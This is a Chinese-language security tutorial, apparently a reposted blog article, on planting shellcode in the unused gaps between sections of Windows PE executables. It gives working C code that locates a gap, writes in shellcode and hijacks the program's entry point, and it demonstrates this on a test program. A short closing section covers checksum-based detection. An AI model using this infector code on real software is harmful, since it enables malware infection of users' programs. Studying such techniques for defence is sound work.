反病毒攻防研究第004篇:利用縫隙實現代碼的植入

來源:互聯網
上載者:User

標籤:薑曄   安全   病毒   木馬   搜尋   

一、前言

        現在很多網站都提供各式各樣軟體的下載,這就為駭客提供了植入病毒木馬的良機。駭客可以將自己的惡意程式植入到正常的程式中,之後發布到網站上,這樣當使用者下載並運行了植入病毒的程式後,電腦就會中毒,而且病毒可能會接著感染電腦中的其他程式,甚至通過網路或者隨身碟,使得傳播面積不斷擴大。而本篇文章就來剖析病毒感染的實現原理,首先需要搜尋正常程式中的縫隙用於“病毒”(用對話方塊類比)的植入,之後感染目標程式以實現“病毒”的啟動。當然,討論完這些,我依舊會分析如何應對這種攻擊方法,這才是本篇文章討論的重點。

 

二、搜尋程式中存在的縫隙。

        病毒木馬如果想對一個正常的程式寫入代碼,那麼首先就必須要知道目標程式中是否有足夠大的空間來讓它把代碼植入。一般來說,有兩種方法,第一種就是增加一個節區,這樣就有足夠的空間來讓病毒植入了,但是這樣一來,不利於病毒的隱藏,如同告訴反病毒工程師“我就是病毒”一樣,即便如此,我依舊會在後面的文章中討論這種方法。第二種方法就是尋找程式中存在的縫隙,然後再植入代碼。因為在PE檔案中,為了對齊,節與節之間必然存在未被使用的空間,這就是程式中存在的縫隙。只要惡意代碼的長度不大於縫隙的長度,那麼就可以將代碼寫入這個空間。這裡討論的就是這種方法的實現。

        為了討論的簡單起見,我這裡依舊使用在上一篇文章中所編寫的ShellCode。和上一篇文章中所討論的方法不同的是,上次是將ShellCode寫入了密碼檔案,密碼驗證程式讀取密碼檔案後,產生溢出,執行了ShellCode,然後再執行“病毒”程式。而這次是省去了中間環節,直接將ShellCode寫入正常的程式中,運行程式就直接運行了“病毒”,這樣就更加隱蔽,更容易被觸發。提取出之前的ShellCode,並進行一定的修改,定義如下:

char shellcode[] =        "\x33\xdb"                       //xor  ebx,ebx        "\x53"                           //push ebx        "\x68\x2e\x65\x78\x65"           //push 0x6578652e        "\x68\x48\x61\x63\x6b"           //push 0x6b636148        "\x8b\xc4"                       //mov  eax,esp         "\x53"                           //push ebx        "\x50"                           //push eax        "\xb8\x31\x32\x86\x7c"           //mov  eax,0x7c863231        "\xff\xd0"                       //call eax         "\xb8\x90\x90\x90\x90"           //mov  eax,OEP        "\xff\xe0\x90";                  //jmp  eax

        這裡需要說明的是,由於我們接下來要將程式的進入點修改為ShellCode的進入點,在ShellCode執行完後,又需要跳回原程式的進入點,因此在原始ShellCode的後面添加上了mov和jmp eax的指令。mov後面留有四個位元組的空間,用於原始程式OEP的寫入,下一步就是跳到原始程式去執行。由於原始ShellCode中包含有結束代碼,所以也需要將調用ExitProcess的ShellCode代碼去掉。

        搜尋程式中縫隙的代碼如下:

DWORD SearchSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader){        PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));        DWORD dwAddr = pSec->PointerToRawData+pSec->SizeOfRawData - sizeof(shellcode);        dwAddr=(DWORD)(BYTE *)lpBase + dwAddr;        //在記憶體中分配shellcode大小的空間,並以0進行填充        LPVOID lp = malloc(sizeof(shellcode));        memset(lp,0,sizeof(shellcode));        while(dwAddr > pSec->Misc.VirtualSize)        {                //尋找長度與shellcode相同,且內容為00的空間                int nRet = memcmp((LPVOID)dwAddr,lp,sizeof(shellcode));                //如果存在這樣的空間,那麼memcmp的值為0,返回dwAddr                if(nRet == 0)                {                        return dwAddr;                }                //自減,不斷反向尋找                dwAddr--;        }        free(lp);        return 0;}

        上述代碼是在代碼的節區與緊挨著代碼節區之後的節區的中間的位置進行搜尋,從代碼節區的末尾開始反向搜尋。

 

三、將ShellCode植入目標程式

        這裡我們需要編寫一個main函數來調用上面的函數,代碼如下:

#include <windows.h>#define FILENAME "helloworld.exe"    //欲“感染”的檔案名稱int main(){        HANDLE hFile = NULL;        HANDLE hMap = NULL;        LPVOID lpBase = NULL;        hFile = CreateFile(FILENAME,                           GENERIC_READ | GENERIC_WRITE,                           FILE_SHARE_READ,                           NULL,                           OPEN_EXISTING,                           FILE_ATTRIBUTE_NORMAL,                           NULL);        hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);        lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);        PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;        PIMAGE_NT_HEADERS pNtHeader = NULL;        //PE檔案驗證,判斷e_magic是否為MZ        if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)        {                UnmapViewOfFile(lpBase);                CloseHandle(hMap);                CloseHandle(hFile);                return 0;        }        //根據e_lfanew來找到Signature標誌位        pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);        //PE檔案驗證,判斷Signature是否為MZ        if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)        {                UnmapViewOfFile(lpBase);                CloseHandle(hMap);                CloseHandle(hFile);                return 0;        }        //搜尋PE檔案中的縫隙        DWORD dwAddr = SearchSpace(lpBase,pNtHeader);        //尋找原程式入口地址,並拷貝到ShellCode中的相應位置(25至28位元組處)        DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;        *(DWORD *)&shellcode[25] = dwOep;        //將ShellCode拷貝到上面所找到的縫隙        memcpy((char *)dwAddr,shellcode,strlen(shellcode)+3);        dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;        //將ShellCode的入口地址拷貝給原程式        pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;        UnmapViewOfFile(lpBase);        CloseHandle(hMap);        CloseHandle(hFile);        return 0;}

        由於我需要把ShellCode植入可執行檔,只有可執行檔才能啟動ShellCode,因此有必要提前對目標檔案進行格式檢測。而檢測的方法,一般就是檢測MZ與PE標誌位是否存在。這裡有一件事需要說明,就是在將ShellCode拷貝到縫隙中的那條語句中,使用了memcpy函數,它的第三個參數是strlen(shellcode)+3,這裡之所以加上3,是因為strlen這個函數當遇到字串中出現的\x00時,就會認為字串已經結束,那麼它的字元長度的計數就會停在\x00處。而一個程式的OEP往往是0x004XXXXX,小端顯示,它的儲存方式就是XXXXX400,在我的ShellCode中,由於00後面還剩下三個位元組(\xff\xe0\x90),但是被00所截斷了,導致這最後的三個位元組不被strlen認可,因此需要再加上3。

 

四、程式的“感染”

        為了測試我們的“感染”程式,在此我再編寫一個HelloWorld程式,代碼如下:

#include <stdio.h>int main(){        printf(“Hello world!\n”);        getchar();        return 0;}
        將上述代碼編譯連結後產生的helloworld.exe程式放到和“感染”程式同一目錄下,執行“感染”程式,然後用十六進位編輯軟體開啟helloworld.exe,可以發現我們的代碼已經植入,如下如所示:


圖1 用Hex Editor查看植入代碼

        再用OllyDbg查看植入代碼:


圖2 用OllyDbg查看植入代碼

        使用OD載入程式,就直接來到了我們所植入的ShellCode的地址,可見程式的原始OEP已經被修改了。而在ShellCode的最後,又會跳到程式的原始進入點,繼續執行原始程式。利用PEiD也能明顯地看到“感染”前後的不同:

圖3 被“感染”前


圖4 被“感染”後

        此時我們就可以確定,helloworld.exe已經被“感染”了,為了驗證“被感染”程式是否能夠啟動我們的對話方塊程式,需要將Hack.exe(注意這裡改了名字)放到與helloworld.exe的同一目錄下,然後執行helloworld.exe,如所示:


圖5 運行“被感染”的程式

        可見,用於類比病毒的提示對話方塊以及helloworld.exe自身的程式都得到了運行,這也說明了“感染”是成功的。

        這裡是直接將程式的進入點修改為我們的ShellCode的入口地址,其實這是不利於“病毒”的隱藏的,為了起到迷惑的作用,可以將ShellCode程式植入到helloworld的代碼中,甚至將ShellCode拆分為幾個部分再植入,這樣就很難被發現了,這裡就不再詳細討論。

 

五、防範方法的討論

        由於惡意程式的這種“感染”方法是在程式的縫隙將自身代碼植入,因此它是不會對原始程式的大小產生任何改變的,當然也是由於我所舉的這個例子比較簡單,ShellCode也比較短的緣故。這或多或少也實現了病毒的隱藏,不過防範的方法還是有的。一般來說,軟體公司都會對自己的軟體產品進行校正,比如運用MD5、Sha-1或者CRC32等。校正的結果是唯一的,也就是說,即便原始程式改動很小(如這次僅僅修改了32個位元組的內容),那麼校正的結果也會很不相同。很多安全類軟體都能夠提供校正的功能,而校正也總被運用在手工查殺病毒中,因為駭客往往會對系統中的svchost.exe或者一些DLL檔案做手腳,而這樣的一些重要檔案,官方都會給出真正的校正值,那麼對比一下就能夠很容易發現這些檔案是否被篡改過了。回到上面的helloworld.exe,在“感染”前後,用火眼進行校正檢測:


圖6 “感染”前

圖7 “感染”後

        這裡的建議是多採用幾種校正方式進行校正,因為像MD5這種校正方式有可能會被做手腳,使得“感染”前後的結果可能是一樣的,而目前的技術還無法使在修改了原始檔案的前提下,所有校正方式的校正結果不變。所以善於利用校正的方式,可以使自己的電腦免受很多的威脅。

        針對於這種攻擊方式,我這次並不打算寫出專殺工具,畢竟依靠之前的專殺工具就足夠了。而對於檔案被“感染”,去除感染是一件比較麻煩的事情,在這裡先不進行討論。以後的文章中可能會專門論述這個問題。

 

六、小結

        這次簡單討論了一下利用PE結構中的縫隙實現ShellCode的植入。在我看來,PE知識是許多進階技術的基礎,是必須要掌握的。以後的文章,會從更多的角度來講解利用PE格式實現“病毒”的攻擊與防範。再次強調的是,我在這裡討論的目的是為了讓大家瞭解更多的電腦安全的知識,而不應將這些運用於歪門邪道。我所講的這些方法,是無法通過殺軟的檢驗的,即便是這次被感染的程式,“火眼”依舊將其列為重點懷疑對象。所以不應為了一時之快,而做出讓自己後悔的舉動。

反病毒攻防研究第004篇:利用縫隙實現代碼的植入

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.